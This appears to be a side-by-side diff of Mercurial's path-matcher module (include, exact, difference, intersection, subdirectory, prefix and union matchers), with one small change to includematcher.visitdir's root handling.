554 assert ret == 'all'
553 assert ret == 'all'
555 return 'all'
554 return 'all'
556
555
557 def prefix(self):
556 def prefix(self):
558 return self._prefix
557 return self._prefix
559
558
560 @encoding.strmethod
559 @encoding.strmethod
561 def __repr__(self):
560 def __repr__(self):
562 return ('<patternmatcher patterns=%r>' % pycompat.bytestr(self._pats))
561 return ('<patternmatcher patterns=%r>' % pycompat.bytestr(self._pats))
563
562
564 # This is basically a reimplementation of util.dirs that stores the children
563 # This is basically a reimplementation of util.dirs that stores the children
565 # instead of just a count of them, plus a small optional optimization to avoid
564 # instead of just a count of them, plus a small optional optimization to avoid
566 # some directories we don't need.
565 # some directories we don't need.
567 class _dirchildren(object):
566 class _dirchildren(object):
568 def __init__(self, paths, onlyinclude=None):
567 def __init__(self, paths, onlyinclude=None):
569 self._dirs = {}
568 self._dirs = {}
570 self._onlyinclude = onlyinclude or []
569 self._onlyinclude = onlyinclude or []
571 addpath = self.addpath
570 addpath = self.addpath
572 for f in paths:
571 for f in paths:
573 addpath(f)
572 addpath(f)
574
573
575 def addpath(self, path):
574 def addpath(self, path):
576 if path == '':
575 if path == '':
577 return
576 return
578 dirs = self._dirs
577 dirs = self._dirs
579 findsplitdirs = _dirchildren._findsplitdirs
578 findsplitdirs = _dirchildren._findsplitdirs
580 for d, b in findsplitdirs(path):
579 for d, b in findsplitdirs(path):
581 if d not in self._onlyinclude:
580 if d not in self._onlyinclude:
582 continue
581 continue
583 dirs.setdefault(d, set()).add(b)
582 dirs.setdefault(d, set()).add(b)
584
583
585 @staticmethod
584 @staticmethod
586 def _findsplitdirs(path):
585 def _findsplitdirs(path):
587 # yields (dirname, basename) tuples, walking back to the root. This is
586 # yields (dirname, basename) tuples, walking back to the root. This is
588 # very similar to util.finddirs, except:
587 # very similar to util.finddirs, except:
589 # - produces a (dirname, basename) tuple, not just 'dirname'
588 # - produces a (dirname, basename) tuple, not just 'dirname'
590 # - includes root dir
589 # - includes root dir
591 # Unlike manifest._splittopdir, this does not suffix `dirname` with a
590 # Unlike manifest._splittopdir, this does not suffix `dirname` with a
592 # slash.
591 # slash.
593 oldpos = len(path)
592 oldpos = len(path)
594 pos = path.rfind('/')
593 pos = path.rfind('/')
595 while pos != -1:
594 while pos != -1:
596 yield path[:pos], path[pos + 1:oldpos]
595 yield path[:pos], path[pos + 1:oldpos]
597 oldpos = pos
596 oldpos = pos
598 pos = path.rfind('/', 0, pos)
597 pos = path.rfind('/', 0, pos)
599 yield '', path[:oldpos]
598 yield '', path[:oldpos]
600
599
601 def get(self, path):
600 def get(self, path):
602 return self._dirs.get(path, set())
601 return self._dirs.get(path, set())
603
602
604 class includematcher(basematcher):
603 class includematcher(basematcher):
605
604
606 def __init__(self, root, kindpats, badfn=None):
605 def __init__(self, root, kindpats, badfn=None):
607 super(includematcher, self).__init__(badfn)
606 super(includematcher, self).__init__(badfn)
608
607
609 self._pats, self.matchfn = _buildmatch(kindpats, '(?:/|$)', root)
608 self._pats, self.matchfn = _buildmatch(kindpats, '(?:/|$)', root)
610 self._prefix = _prefix(kindpats)
609 self._prefix = _prefix(kindpats)
611 roots, dirs, parents = _rootsdirsandparents(kindpats)
610 roots, dirs, parents = _rootsdirsandparents(kindpats)
612 # roots are directories which are recursively included.
611 # roots are directories which are recursively included.
613 self._roots = set(roots)
612 self._roots = set(roots)
614 # dirs are directories which are non-recursively included.
613 # dirs are directories which are non-recursively included.
615 self._dirs = set(dirs)
614 self._dirs = set(dirs)
616 # parents are directories which are non-recursively included because
615 # parents are directories which are non-recursively included because
617 # they are needed to get to items in _dirs or _roots.
616 # they are needed to get to items in _dirs or _roots.
618 self._parents = set(parents)
617 self._parents = set(parents)
619
618
620 def visitdir(self, dir):
619 def visitdir(self, dir):
621 dir = normalizerootdir(dir, 'visitdir')
620 dir = normalizerootdir(dir, 'visitdir')
622 if self._prefix and dir in self._roots:
621 if self._prefix and dir in self._roots:
623 return 'all'
622 return 'all'
624 return ('' in self._roots or
623 return (dir in self._roots or
625 dir in self._roots or
626 dir in self._dirs or
624 dir in self._dirs or
627 dir in self._parents or
625 dir in self._parents or
628 any(parentdir in self._roots
626 any(parentdir in self._roots
629 for parentdir in util.finddirs(dir)))
627 for parentdir in util.finddirs(dir)))
630
628
631 @propertycache
629 @propertycache
632 def _allparentschildren(self):
630 def _allparentschildren(self):
633 # It may seem odd that we add dirs, roots, and parents, and then
631 # It may seem odd that we add dirs, roots, and parents, and then
634 # restrict to only parents. This is to catch the case of:
632 # restrict to only parents. This is to catch the case of:
635 # dirs = ['foo/bar']
633 # dirs = ['foo/bar']
636 # parents = ['foo']
634 # parents = ['foo']
637 # if we asked for the children of 'foo', but had only added
635 # if we asked for the children of 'foo', but had only added
638 # self._parents, we wouldn't be able to respond ['bar'].
636 # self._parents, we wouldn't be able to respond ['bar'].
639 return _dirchildren(
637 return _dirchildren(
640 itertools.chain(self._dirs, self._roots, self._parents),
638 itertools.chain(self._dirs, self._roots, self._parents),
641 onlyinclude=self._parents)
639 onlyinclude=self._parents)
642
640
643 def visitchildrenset(self, dir):
641 def visitchildrenset(self, dir):
644 if self._prefix and dir in self._roots:
642 if self._prefix and dir in self._roots:
645 return 'all'
643 return 'all'
646 # Note: this does *not* include the 'dir in self._parents' case from
644 # Note: this does *not* include the 'dir in self._parents' case from
647 # visitdir, that's handled below.
645 # visitdir, that's handled below.
648 if ('' in self._roots or
646 if ('' in self._roots or
649 dir in self._roots or
647 dir in self._roots or
650 dir in self._dirs or
648 dir in self._dirs or
651 any(parentdir in self._roots
649 any(parentdir in self._roots
652 for parentdir in util.finddirs(dir))):
650 for parentdir in util.finddirs(dir))):
653 return 'this'
651 return 'this'
654
652
655 if dir in self._parents:
653 if dir in self._parents:
656 return self._allparentschildren.get(dir) or set()
654 return self._allparentschildren.get(dir) or set()
657 return set()
655 return set()
658
656
659 @encoding.strmethod
657 @encoding.strmethod
660 def __repr__(self):
658 def __repr__(self):
661 return ('<includematcher includes=%r>' % pycompat.bytestr(self._pats))
659 return ('<includematcher includes=%r>' % pycompat.bytestr(self._pats))
662
660
663 class exactmatcher(basematcher):
661 class exactmatcher(basematcher):
664 r'''Matches the input files exactly. They are interpreted as paths, not
662 r'''Matches the input files exactly. They are interpreted as paths, not
665 patterns (so no kind-prefixes).
663 patterns (so no kind-prefixes).
666
664
667 >>> m = exactmatcher([b'a.txt', br're:.*\.c$'])
665 >>> m = exactmatcher([b'a.txt', br're:.*\.c$'])
668 >>> m(b'a.txt')
666 >>> m(b'a.txt')
669 True
667 True
670 >>> m(b'b.txt')
668 >>> m(b'b.txt')
671 False
669 False
672
670
673 Input files that would be matched are exactly those returned by .files()
671 Input files that would be matched are exactly those returned by .files()
674 >>> m.files()
672 >>> m.files()
675 ['a.txt', 're:.*\\.c$']
673 ['a.txt', 're:.*\\.c$']
676
674
677 So pattern 're:.*\.c$' is not considered as a regex, but as a file name
675 So pattern 're:.*\.c$' is not considered as a regex, but as a file name
678 >>> m(b'main.c')
676 >>> m(b'main.c')
679 False
677 False
680 >>> m(br're:.*\.c$')
678 >>> m(br're:.*\.c$')
681 True
679 True
682 '''
680 '''
683
681
684 def __init__(self, files, badfn=None):
682 def __init__(self, files, badfn=None):
685 super(exactmatcher, self).__init__(badfn)
683 super(exactmatcher, self).__init__(badfn)
686
684
687 if isinstance(files, list):
685 if isinstance(files, list):
688 self._files = files
686 self._files = files
689 else:
687 else:
690 self._files = list(files)
688 self._files = list(files)
691
689
692 matchfn = basematcher.exact
690 matchfn = basematcher.exact
693
691
694 @propertycache
692 @propertycache
695 def _dirs(self):
693 def _dirs(self):
696 return set(util.dirs(self._fileset)) | {''}
694 return set(util.dirs(self._fileset)) | {''}
697
695
698 def visitdir(self, dir):
696 def visitdir(self, dir):
699 dir = normalizerootdir(dir, 'visitdir')
697 dir = normalizerootdir(dir, 'visitdir')
700 return dir in self._dirs
698 return dir in self._dirs
701
699
702 def visitchildrenset(self, dir):
700 def visitchildrenset(self, dir):
703 dir = normalizerootdir(dir, 'visitchildrenset')
701 dir = normalizerootdir(dir, 'visitchildrenset')
704
702
705 if not self._fileset or dir not in self._dirs:
703 if not self._fileset or dir not in self._dirs:
706 return set()
704 return set()
707
705
708 candidates = self._fileset | self._dirs - {''}
706 candidates = self._fileset | self._dirs - {''}
709 if dir != '':
707 if dir != '':
710 d = dir + '/'
708 d = dir + '/'
711 candidates = set(c[len(d):] for c in candidates if
709 candidates = set(c[len(d):] for c in candidates if
712 c.startswith(d))
710 c.startswith(d))
713 # self._dirs includes all of the directories, recursively, so if
711 # self._dirs includes all of the directories, recursively, so if
714 # we're attempting to match foo/bar/baz.txt, it'll have '', 'foo',
712 # we're attempting to match foo/bar/baz.txt, it'll have '', 'foo',
715 # 'foo/bar' in it. Thus we can safely ignore a candidate that has a
713 # 'foo/bar' in it. Thus we can safely ignore a candidate that has a
716 # '/' in it, indicating a it's for a subdir-of-a-subdir; the
714 # '/' in it, indicating a it's for a subdir-of-a-subdir; the
717 # immediate subdir will be in there without a slash.
715 # immediate subdir will be in there without a slash.
718 ret = {c for c in candidates if '/' not in c}
716 ret = {c for c in candidates if '/' not in c}
719 # We really do not expect ret to be empty, since that would imply that
717 # We really do not expect ret to be empty, since that would imply that
720 # there's something in _dirs that didn't have a file in _fileset.
718 # there's something in _dirs that didn't have a file in _fileset.
721 assert ret
719 assert ret
722 return ret
720 return ret
723
721
724 def isexact(self):
722 def isexact(self):
725 return True
723 return True
726
724
727 @encoding.strmethod
725 @encoding.strmethod
728 def __repr__(self):
726 def __repr__(self):
729 return ('<exactmatcher files=%r>' % self._files)
727 return ('<exactmatcher files=%r>' % self._files)
730
728
731 class differencematcher(basematcher):
729 class differencematcher(basematcher):
732 '''Composes two matchers by matching if the first matches and the second
730 '''Composes two matchers by matching if the first matches and the second
733 does not.
731 does not.
734
732
735 The second matcher's non-matching-attributes (bad, explicitdir,
733 The second matcher's non-matching-attributes (bad, explicitdir,
736 traversedir) are ignored.
734 traversedir) are ignored.
737 '''
735 '''
738 def __init__(self, m1, m2):
736 def __init__(self, m1, m2):
739 super(differencematcher, self).__init__()
737 super(differencematcher, self).__init__()
740 self._m1 = m1
738 self._m1 = m1
741 self._m2 = m2
739 self._m2 = m2
742 self.bad = m1.bad
740 self.bad = m1.bad
743 self.explicitdir = m1.explicitdir
741 self.explicitdir = m1.explicitdir
744 self.traversedir = m1.traversedir
742 self.traversedir = m1.traversedir
745
743
746 def matchfn(self, f):
744 def matchfn(self, f):
747 return self._m1(f) and not self._m2(f)
745 return self._m1(f) and not self._m2(f)
748
746
749 @propertycache
747 @propertycache
750 def _files(self):
748 def _files(self):
751 if self.isexact():
749 if self.isexact():
752 return [f for f in self._m1.files() if self(f)]
750 return [f for f in self._m1.files() if self(f)]
753 # If m1 is not an exact matcher, we can't easily figure out the set of
751 # If m1 is not an exact matcher, we can't easily figure out the set of
754 # files, because its files() are not always files. For example, if
752 # files, because its files() are not always files. For example, if
755 # m1 is "path:dir" and m2 is "rootfileins:.", we don't
753 # m1 is "path:dir" and m2 is "rootfileins:.", we don't
756 # want to remove "dir" from the set even though it would match m2,
754 # want to remove "dir" from the set even though it would match m2,
757 # because the "dir" in m1 may not be a file.
755 # because the "dir" in m1 may not be a file.
758 return self._m1.files()
756 return self._m1.files()
759
757
760 def visitdir(self, dir):
758 def visitdir(self, dir):
761 if self._m2.visitdir(dir) == 'all':
759 if self._m2.visitdir(dir) == 'all':
762 return False
760 return False
763 elif not self._m2.visitdir(dir):
761 elif not self._m2.visitdir(dir):
764 # m2 does not match dir, we can return 'all' here if possible
762 # m2 does not match dir, we can return 'all' here if possible
765 return self._m1.visitdir(dir)
763 return self._m1.visitdir(dir)
766 return bool(self._m1.visitdir(dir))
764 return bool(self._m1.visitdir(dir))
767
765
768 def visitchildrenset(self, dir):
766 def visitchildrenset(self, dir):
769 m2_set = self._m2.visitchildrenset(dir)
767 m2_set = self._m2.visitchildrenset(dir)
770 if m2_set == 'all':
768 if m2_set == 'all':
771 return set()
769 return set()
772 m1_set = self._m1.visitchildrenset(dir)
770 m1_set = self._m1.visitchildrenset(dir)
773 # Possible values for m1: 'all', 'this', set(...), set()
771 # Possible values for m1: 'all', 'this', set(...), set()
774 # Possible values for m2: 'this', set(...), set()
772 # Possible values for m2: 'this', set(...), set()
775 # If m2 has nothing under here that we care about, return m1, even if
773 # If m2 has nothing under here that we care about, return m1, even if
776 # it's 'all'. This is a change in behavior from visitdir, which would
774 # it's 'all'. This is a change in behavior from visitdir, which would
777 # return True, not 'all', for some reason.
775 # return True, not 'all', for some reason.
778 if not m2_set:
776 if not m2_set:
779 return m1_set
777 return m1_set
780 if m1_set in ['all', 'this']:
778 if m1_set in ['all', 'this']:
781 # Never return 'all' here if m2_set is any kind of non-empty (either
779 # Never return 'all' here if m2_set is any kind of non-empty (either
782 # 'this' or set(foo)), since m2 might return set() for a
780 # 'this' or set(foo)), since m2 might return set() for a
783 # subdirectory.
781 # subdirectory.
784 return 'this'
782 return 'this'
785 # Possible values for m1: set(...), set()
783 # Possible values for m1: set(...), set()
786 # Possible values for m2: 'this', set(...)
784 # Possible values for m2: 'this', set(...)
787 # We ignore m2's set results. They're possibly incorrect:
785 # We ignore m2's set results. They're possibly incorrect:
788 # m1 = path:dir/subdir, m2=rootfilesin:dir, visitchildrenset(''):
786 # m1 = path:dir/subdir, m2=rootfilesin:dir, visitchildrenset(''):
789 # m1 returns {'dir'}, m2 returns {'dir'}, if we subtracted we'd
787 # m1 returns {'dir'}, m2 returns {'dir'}, if we subtracted we'd
790 # return set(), which is *not* correct, we still need to visit 'dir'!
788 # return set(), which is *not* correct, we still need to visit 'dir'!
791 return m1_set
789 return m1_set
792
790
793 def isexact(self):
791 def isexact(self):
794 return self._m1.isexact()
792 return self._m1.isexact()
795
793
796 @encoding.strmethod
794 @encoding.strmethod
797 def __repr__(self):
795 def __repr__(self):
798 return ('<differencematcher m1=%r, m2=%r>' % (self._m1, self._m2))
796 return ('<differencematcher m1=%r, m2=%r>' % (self._m1, self._m2))
799
797
800 def intersectmatchers(m1, m2):
798 def intersectmatchers(m1, m2):
801 '''Composes two matchers by matching if both of them match.
799 '''Composes two matchers by matching if both of them match.
802
800
803 The second matcher's non-matching-attributes (bad, explicitdir,
801 The second matcher's non-matching-attributes (bad, explicitdir,
804 traversedir) are ignored.
802 traversedir) are ignored.
805 '''
803 '''
806 if m1 is None or m2 is None:
804 if m1 is None or m2 is None:
807 return m1 or m2
805 return m1 or m2
808 if m1.always():
806 if m1.always():
809 m = copy.copy(m2)
807 m = copy.copy(m2)
810 # TODO: Consider encapsulating these things in a class so there's only
808 # TODO: Consider encapsulating these things in a class so there's only
811 # one thing to copy from m1.
809 # one thing to copy from m1.
812 m.bad = m1.bad
810 m.bad = m1.bad
813 m.explicitdir = m1.explicitdir
811 m.explicitdir = m1.explicitdir
814 m.traversedir = m1.traversedir
812 m.traversedir = m1.traversedir
815 return m
813 return m
816 if m2.always():
814 if m2.always():
817 m = copy.copy(m1)
815 m = copy.copy(m1)
818 return m
816 return m
819 return intersectionmatcher(m1, m2)
817 return intersectionmatcher(m1, m2)
820
818
821 class intersectionmatcher(basematcher):
819 class intersectionmatcher(basematcher):
822 def __init__(self, m1, m2):
820 def __init__(self, m1, m2):
823 super(intersectionmatcher, self).__init__()
821 super(intersectionmatcher, self).__init__()
824 self._m1 = m1
822 self._m1 = m1
825 self._m2 = m2
823 self._m2 = m2
826 self.bad = m1.bad
824 self.bad = m1.bad
827 self.explicitdir = m1.explicitdir
825 self.explicitdir = m1.explicitdir
828 self.traversedir = m1.traversedir
826 self.traversedir = m1.traversedir
829
827
830 @propertycache
828 @propertycache
831 def _files(self):
829 def _files(self):
832 if self.isexact():
830 if self.isexact():
833 m1, m2 = self._m1, self._m2
831 m1, m2 = self._m1, self._m2
834 if not m1.isexact():
832 if not m1.isexact():
835 m1, m2 = m2, m1
833 m1, m2 = m2, m1
836 return [f for f in m1.files() if m2(f)]
834 return [f for f in m1.files() if m2(f)]
837 # It neither m1 nor m2 is an exact matcher, we can't easily intersect
835 # It neither m1 nor m2 is an exact matcher, we can't easily intersect
838 # the set of files, because their files() are not always files. For
836 # the set of files, because their files() are not always files. For
839 # example, if intersecting a matcher "-I glob:foo.txt" with matcher of
837 # example, if intersecting a matcher "-I glob:foo.txt" with matcher of
840 # "path:dir2", we don't want to remove "dir2" from the set.
838 # "path:dir2", we don't want to remove "dir2" from the set.
841 return self._m1.files() + self._m2.files()
839 return self._m1.files() + self._m2.files()
842
840
843 def matchfn(self, f):
841 def matchfn(self, f):
844 return self._m1(f) and self._m2(f)
842 return self._m1(f) and self._m2(f)
845
843
846 def visitdir(self, dir):
844 def visitdir(self, dir):
847 visit1 = self._m1.visitdir(dir)
845 visit1 = self._m1.visitdir(dir)
848 if visit1 == 'all':
846 if visit1 == 'all':
849 return self._m2.visitdir(dir)
847 return self._m2.visitdir(dir)
850 # bool() because visit1=True + visit2='all' should not be 'all'
848 # bool() because visit1=True + visit2='all' should not be 'all'
851 return bool(visit1 and self._m2.visitdir(dir))
849 return bool(visit1 and self._m2.visitdir(dir))
852
850
853 def visitchildrenset(self, dir):
851 def visitchildrenset(self, dir):
854 m1_set = self._m1.visitchildrenset(dir)
852 m1_set = self._m1.visitchildrenset(dir)
855 if not m1_set:
853 if not m1_set:
856 return set()
854 return set()
857 m2_set = self._m2.visitchildrenset(dir)
855 m2_set = self._m2.visitchildrenset(dir)
858 if not m2_set:
856 if not m2_set:
859 return set()
857 return set()
860
858
861 if m1_set == 'all':
859 if m1_set == 'all':
862 return m2_set
860 return m2_set
863 elif m2_set == 'all':
861 elif m2_set == 'all':
864 return m1_set
862 return m1_set
865
863
866 if m1_set == 'this' or m2_set == 'this':
864 if m1_set == 'this' or m2_set == 'this':
867 return 'this'
865 return 'this'
868
866
869 assert isinstance(m1_set, set) and isinstance(m2_set, set)
867 assert isinstance(m1_set, set) and isinstance(m2_set, set)
870 return m1_set.intersection(m2_set)
868 return m1_set.intersection(m2_set)
871
869
872 def always(self):
870 def always(self):
873 return self._m1.always() and self._m2.always()
871 return self._m1.always() and self._m2.always()
874
872
875 def isexact(self):
873 def isexact(self):
876 return self._m1.isexact() or self._m2.isexact()
874 return self._m1.isexact() or self._m2.isexact()
877
875
878 @encoding.strmethod
876 @encoding.strmethod
879 def __repr__(self):
877 def __repr__(self):
880 return ('<intersectionmatcher m1=%r, m2=%r>' % (self._m1, self._m2))
878 return ('<intersectionmatcher m1=%r, m2=%r>' % (self._m1, self._m2))
881
879
882 class subdirmatcher(basematcher):
880 class subdirmatcher(basematcher):
883 """Adapt a matcher to work on a subdirectory only.
881 """Adapt a matcher to work on a subdirectory only.
884
882
885 The paths are remapped to remove/insert the path as needed:
883 The paths are remapped to remove/insert the path as needed:
886
884
887 >>> from . import pycompat
885 >>> from . import pycompat
888 >>> m1 = match(b'root', b'', [b'a.txt', b'sub/b.txt'])
886 >>> m1 = match(b'root', b'', [b'a.txt', b'sub/b.txt'])
889 >>> m2 = subdirmatcher(b'sub', m1)
887 >>> m2 = subdirmatcher(b'sub', m1)
890 >>> m2(b'a.txt')
888 >>> m2(b'a.txt')
891 False
889 False
892 >>> m2(b'b.txt')
890 >>> m2(b'b.txt')
893 True
891 True
894 >>> m2.matchfn(b'a.txt')
892 >>> m2.matchfn(b'a.txt')
895 False
893 False
896 >>> m2.matchfn(b'b.txt')
894 >>> m2.matchfn(b'b.txt')
897 True
895 True
898 >>> m2.files()
896 >>> m2.files()
899 ['b.txt']
897 ['b.txt']
900 >>> m2.exact(b'b.txt')
898 >>> m2.exact(b'b.txt')
901 True
899 True
902 >>> def bad(f, msg):
900 >>> def bad(f, msg):
903 ... print(pycompat.sysstr(b"%s: %s" % (f, msg)))
901 ... print(pycompat.sysstr(b"%s: %s" % (f, msg)))
904 >>> m1.bad = bad
902 >>> m1.bad = bad
905 >>> m2.bad(b'x.txt', b'No such file')
903 >>> m2.bad(b'x.txt', b'No such file')
906 sub/x.txt: No such file
904 sub/x.txt: No such file
907 """
905 """
908
906
909 def __init__(self, path, matcher):
907 def __init__(self, path, matcher):
910 super(subdirmatcher, self).__init__()
908 super(subdirmatcher, self).__init__()
911 self._path = path
909 self._path = path
912 self._matcher = matcher
910 self._matcher = matcher
913 self._always = matcher.always()
911 self._always = matcher.always()
914
912
915 self._files = [f[len(path) + 1:] for f in matcher._files
913 self._files = [f[len(path) + 1:] for f in matcher._files
916 if f.startswith(path + "/")]
914 if f.startswith(path + "/")]
917
915
918 # If the parent repo had a path to this subrepo and the matcher is
916 # If the parent repo had a path to this subrepo and the matcher is
919 # a prefix matcher, this submatcher always matches.
917 # a prefix matcher, this submatcher always matches.
920 if matcher.prefix():
918 if matcher.prefix():
921 self._always = any(f == path for f in matcher._files)
919 self._always = any(f == path for f in matcher._files)
922
920
923 def bad(self, f, msg):
921 def bad(self, f, msg):
924 self._matcher.bad(self._path + "/" + f, msg)
922 self._matcher.bad(self._path + "/" + f, msg)
925
923
926 def matchfn(self, f):
924 def matchfn(self, f):
927 # Some information is lost in the superclass's constructor, so we
925 # Some information is lost in the superclass's constructor, so we
928 # can not accurately create the matching function for the subdirectory
926 # can not accurately create the matching function for the subdirectory
929 # from the inputs. Instead, we override matchfn() and visitdir() to
927 # from the inputs. Instead, we override matchfn() and visitdir() to
930 # call the original matcher with the subdirectory path prepended.
928 # call the original matcher with the subdirectory path prepended.
931 return self._matcher.matchfn(self._path + "/" + f)
929 return self._matcher.matchfn(self._path + "/" + f)
932
930
933 def visitdir(self, dir):
931 def visitdir(self, dir):
934 dir = normalizerootdir(dir, 'visitdir')
932 dir = normalizerootdir(dir, 'visitdir')
935 if dir == '':
933 if dir == '':
936 dir = self._path
934 dir = self._path
937 else:
935 else:
938 dir = self._path + "/" + dir
936 dir = self._path + "/" + dir
939 return self._matcher.visitdir(dir)
937 return self._matcher.visitdir(dir)
940
938
941 def visitchildrenset(self, dir):
939 def visitchildrenset(self, dir):
942 dir = normalizerootdir(dir, 'visitchildrenset')
940 dir = normalizerootdir(dir, 'visitchildrenset')
943 if dir == '':
941 if dir == '':
944 dir = self._path
942 dir = self._path
945 else:
943 else:
946 dir = self._path + "/" + dir
944 dir = self._path + "/" + dir
947 return self._matcher.visitchildrenset(dir)
945 return self._matcher.visitchildrenset(dir)
948
946
949 def always(self):
947 def always(self):
950 return self._always
948 return self._always
951
949
952 def prefix(self):
950 def prefix(self):
953 return self._matcher.prefix() and not self._always
951 return self._matcher.prefix() and not self._always
954
952
955 @encoding.strmethod
953 @encoding.strmethod
956 def __repr__(self):
954 def __repr__(self):
957 return ('<subdirmatcher path=%r, matcher=%r>' %
955 return ('<subdirmatcher path=%r, matcher=%r>' %
958 (self._path, self._matcher))
956 (self._path, self._matcher))
959
957
960 class prefixdirmatcher(basematcher):
958 class prefixdirmatcher(basematcher):
961 """Adapt a matcher to work on a parent directory.
959 """Adapt a matcher to work on a parent directory.
962
960
963 The matcher's non-matching-attributes (bad, explicitdir, traversedir) are
961 The matcher's non-matching-attributes (bad, explicitdir, traversedir) are
964 ignored.
962 ignored.
965
963
966 The prefix path should usually be the relative path from the root of
964 The prefix path should usually be the relative path from the root of
967 this matcher to the root of the wrapped matcher.
965 this matcher to the root of the wrapped matcher.
968
966
969 >>> m1 = match(util.localpath(b'root/d/e'), b'f', [b'../a.txt', b'b.txt'])
967 >>> m1 = match(util.localpath(b'root/d/e'), b'f', [b'../a.txt', b'b.txt'])
970 >>> m2 = prefixdirmatcher(b'd/e', m1)
968 >>> m2 = prefixdirmatcher(b'd/e', m1)
971 >>> m2(b'a.txt')
969 >>> m2(b'a.txt')
972 False
970 False
973 >>> m2(b'd/e/a.txt')
971 >>> m2(b'd/e/a.txt')
974 True
972 True
975 >>> m2(b'd/e/b.txt')
973 >>> m2(b'd/e/b.txt')
976 False
974 False
977 >>> m2.files()
975 >>> m2.files()
978 ['d/e/a.txt', 'd/e/f/b.txt']
976 ['d/e/a.txt', 'd/e/f/b.txt']
979 >>> m2.exact(b'd/e/a.txt')
977 >>> m2.exact(b'd/e/a.txt')
980 True
978 True
981 >>> m2.visitdir(b'd')
979 >>> m2.visitdir(b'd')
982 True
980 True
983 >>> m2.visitdir(b'd/e')
981 >>> m2.visitdir(b'd/e')
984 True
982 True
985 >>> m2.visitdir(b'd/e/f')
983 >>> m2.visitdir(b'd/e/f')
986 True
984 True
987 >>> m2.visitdir(b'd/e/g')
985 >>> m2.visitdir(b'd/e/g')
988 False
986 False
989 >>> m2.visitdir(b'd/ef')
987 >>> m2.visitdir(b'd/ef')
990 False
988 False
991 """
989 """
992
990
993 def __init__(self, path, matcher, badfn=None):
991 def __init__(self, path, matcher, badfn=None):
994 super(prefixdirmatcher, self).__init__(badfn)
992 super(prefixdirmatcher, self).__init__(badfn)
995 if not path:
993 if not path:
996 raise error.ProgrammingError('prefix path must not be empty')
994 raise error.ProgrammingError('prefix path must not be empty')
997 self._path = path
995 self._path = path
998 self._pathprefix = path + '/'
996 self._pathprefix = path + '/'
999 self._matcher = matcher
997 self._matcher = matcher
1000
998
1001 @propertycache
999 @propertycache
1002 def _files(self):
1000 def _files(self):
1003 return [self._pathprefix + f for f in self._matcher._files]
1001 return [self._pathprefix + f for f in self._matcher._files]
1004
1002
1005 def matchfn(self, f):
1003 def matchfn(self, f):
1006 if not f.startswith(self._pathprefix):
1004 if not f.startswith(self._pathprefix):
1007 return False
1005 return False
1008 return self._matcher.matchfn(f[len(self._pathprefix):])
1006 return self._matcher.matchfn(f[len(self._pathprefix):])
1009
1007
1010 @propertycache
1008 @propertycache
1011 def _pathdirs(self):
1009 def _pathdirs(self):
1012 return set(util.finddirs(self._path)) | {''}
1010 return set(util.finddirs(self._path)) | {''}
1013
1011
1014 def visitdir(self, dir):
1012 def visitdir(self, dir):
1015 if dir == self._path:
1013 if dir == self._path:
1016 return self._matcher.visitdir('')
1014 return self._matcher.visitdir('')
1017 if dir.startswith(self._pathprefix):
1015 if dir.startswith(self._pathprefix):
1018 return self._matcher.visitdir(dir[len(self._pathprefix):])
1016 return self._matcher.visitdir(dir[len(self._pathprefix):])
1019 return dir in self._pathdirs
1017 return dir in self._pathdirs
1020
1018
1021 def visitchildrenset(self, dir):
1019 def visitchildrenset(self, dir):
1022 if dir == self._path:
1020 if dir == self._path:
1023 return self._matcher.visitchildrenset('')
1021 return self._matcher.visitchildrenset('')
1024 if dir.startswith(self._pathprefix):
1022 if dir.startswith(self._pathprefix):
1025 return self._matcher.visitchildrenset(dir[len(self._pathprefix):])
1023 return self._matcher.visitchildrenset(dir[len(self._pathprefix):])
1026 if dir in self._pathdirs:
1024 if dir in self._pathdirs:
1027 return 'this'
1025 return 'this'
1028 return set()
1026 return set()
1029
1027
1030 def isexact(self):
1028 def isexact(self):
1031 return self._matcher.isexact()
1029 return self._matcher.isexact()
1032
1030
1033 def prefix(self):
1031 def prefix(self):
1034 return self._matcher.prefix()
1032 return self._matcher.prefix()
1035
1033
1036 @encoding.strmethod
1034 @encoding.strmethod
1037 def __repr__(self):
1035 def __repr__(self):
1038 return ('<prefixdirmatcher path=%r, matcher=%r>'
1036 return ('<prefixdirmatcher path=%r, matcher=%r>'
1039 % (pycompat.bytestr(self._path), self._matcher))
1037 % (pycompat.bytestr(self._path), self._matcher))
1040
1038
1041 class unionmatcher(basematcher):
1039 class unionmatcher(basematcher):
1042 """A matcher that is the union of several matchers.
1040 """A matcher that is the union of several matchers.
1043
1041
1044 The non-matching-attributes (bad, explicitdir, traversedir) are taken from
1042 The non-matching-attributes (bad, explicitdir, traversedir) are taken from
1045 the first matcher.
1043 the first matcher.
1046 """
1044 """
1047
1045
1048 def __init__(self, matchers):
1046 def __init__(self, matchers):
1049 m1 = matchers[0]
1047 m1 = matchers[0]
1050 super(unionmatcher, self).__init__()
1048 super(unionmatcher, self).__init__()
1051 self.explicitdir = m1.explicitdir
1049 self.explicitdir = m1.explicitdir
1052 self.traversedir = m1.traversedir
1050 self.traversedir = m1.traversedir
1053 self._matchers = matchers
1051 self._matchers = matchers
1054
1052
1055 def matchfn(self, f):
1053 def matchfn(self, f):
1056 for match in self._matchers:
1054 for match in self._matchers:
1057 if match(f):
1055 if match(f):
1058 return True
1056 return True
1059 return False
1057 return False
1060
1058
1061 def visitdir(self, dir):
1059 def visitdir(self, dir):
1062 r = False
1060 r = False
1063 for m in self._matchers:
1061 for m in self._matchers:
1064 v = m.visitdir(dir)
1062 v = m.visitdir(dir)
1065 if v == 'all':
1063 if v == 'all':
1066 return v
1064 return v
1067 r |= v
1065 r |= v
1068 return r
1066 return r
1069
1067
1070 def visitchildrenset(self, dir):
1068 def visitchildrenset(self, dir):
1071 r = set()
1069 r = set()
1072 this = False
1070 this = False
1073 for m in self._matchers:
1071 for m in self._matchers:
1074 v = m.visitchildrenset(dir)
1072 v = m.visitchildrenset(dir)
1075 if not v:
1073 if not v:
1076 continue
1074 continue
1077 if v == 'all':
1075 if v == 'all':
1078 return v
1076 return v
1079 if this or v == 'this':
1077 if this or v == 'this':
1080 this = True
1078 this = True
1081 # don't break, we might have an 'all' in here.
1079 # don't break, we might have an 'all' in here.
1082 continue
1080 continue
1083 assert isinstance(v, set)
1081 assert isinstance(v, set)
1084 r = r.union(v)
1082 r = r.union(v)
1085 if this:
1083 if this:
1086 return 'this'
1084 return 'this'
1087 return r
1085 return r
1088
1086
1089 @encoding.strmethod
1087 @encoding.strmethod
1090 def __repr__(self):
1088 def __repr__(self):
1091 return ('<unionmatcher matchers=%r>' % self._matchers)
1089 return ('<unionmatcher matchers=%r>' % self._matchers)
1092
1090
1093 def patkind(pattern, default=None):
1091 def patkind(pattern, default=None):
